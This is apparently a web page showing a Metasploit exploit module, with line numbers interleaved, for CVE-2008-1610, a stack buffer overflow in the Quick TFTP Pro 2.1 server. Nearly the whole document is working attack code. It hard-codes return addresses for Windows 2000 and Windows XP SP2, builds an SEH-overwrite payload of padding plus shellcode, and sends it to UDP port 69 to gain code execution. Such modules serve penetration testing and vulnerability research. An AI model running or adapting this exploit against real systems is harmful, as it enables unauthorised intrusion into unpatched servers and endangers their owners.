Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::Udp
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in the Quick TFTP Pro server
17
        product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
18
        in a DoS.  This is a port of a sploit by Mati "muts" Aharoni.
19
      },
20
      'Author'         => 'Saint Patrick',
21
      'References'     =>
22
        [
23
          ['CVE', '2008-1610'],
24
          ['OSVDB', '43784'],
25
          ['BID', '28459'],
26
          ['URL', 'http://web.archive.org/web/20080330000001/http://secunia.com:80/advisories/29494/'],
27
        ],
28
      'DefaultOptions' =>
29
        {
30
          'EXITFUNC' => 'process',
31
        },
32
      'Payload'        =>
33
        {
34
          'Space'    => 460,
35
          'BadChars' => "\x00\x20\x0a\x0d",
36
          'StackAdjustment' => -3500,
37
        },
38
      'Platform'       => 'win',
39
      'Targets'        =>
40
        [
41
          ['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll
42
          ['Windows XP SP2', {'Ret' => 0x74D31458} ],       #oledlg.dll
43
        ],
44
      'DefaultTarget'  => 1,
45
      'DisclosureDate' => '2008-03-27'))
46

47
    register_options(
48
      [
49
        Opt::RPORT(69)
50
      ])
51

52
  end
53

54
  def exploit
55
    connect_udp
56

57
    print_status("Trying target #{target.name}...")
58

59
    sploit  = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
60
    sploit += "A"*1019
61
    seh  = generate_seh_payload(target.ret)
62
    sploit +=seh
63
    sploit += "\x00"
64

65
    udp_sock.put(sploit)
66
    print_status("Done.")
67

68
    handler
69
    disconnect_udp
70
  end
71
end
72

73